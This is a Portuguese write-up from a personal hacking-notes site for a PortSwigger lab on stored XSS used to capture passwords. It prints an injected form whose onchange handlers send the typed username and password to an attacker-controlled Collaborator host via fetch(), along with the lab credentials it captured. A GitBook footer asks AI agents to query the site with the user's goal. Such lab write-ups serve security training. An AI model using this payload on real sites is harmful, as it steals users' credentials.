> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/password-capture-via-xss.md).

# Captura de Senha via XSS

Notas sobre Captura de Senha via XSS para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Explorando Cross-site Scripting para Capturar Senhas

Este laboratório contém uma vulnerabilidade de XSS persistente no recurso de comentários do blog. Um usuário simulado (vítima) consulta todos os comentários após a publicação. O objetivo educacional é explorar essa falha para exfiltrar o nome de usuário e a senha da vítima e então se conectar com essas credenciais.

Um pequeno formulário é injetado em um comentário. Quando a vítima insere suas informações, `fetch()` as requisições enviam os valores para uma URL controlada pelo atacante, permitindo capturar as credenciais.

Formulário injetado

```html
Usuário:
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

Senha:
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* O formulário acima aciona o envio de `nome de usuário` e `senha` dos campos para a URL de escuta a cada modificação (`onchange`).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d1b27d906c6c150b7fd545fb67228b7d457f65c%2Fimage%20(424).png?alt=media" alt=""><figcaption></figcaption></figure>

Credenciais capturadas:

* **Nome de usuário:** `administrator`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c889809afe3bbb156de3afe3d443ca67944b67c5%2Fimage%20(425).png?alt=media" alt=""><figcaption></figcaption></figure>

* **Senha:** `qzkcz73zlwri7yiwpf31`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc77aa1737c90db6e15fd6f3c33367ffe67503cd%2Fimage%20(426).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/password-capture-via-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.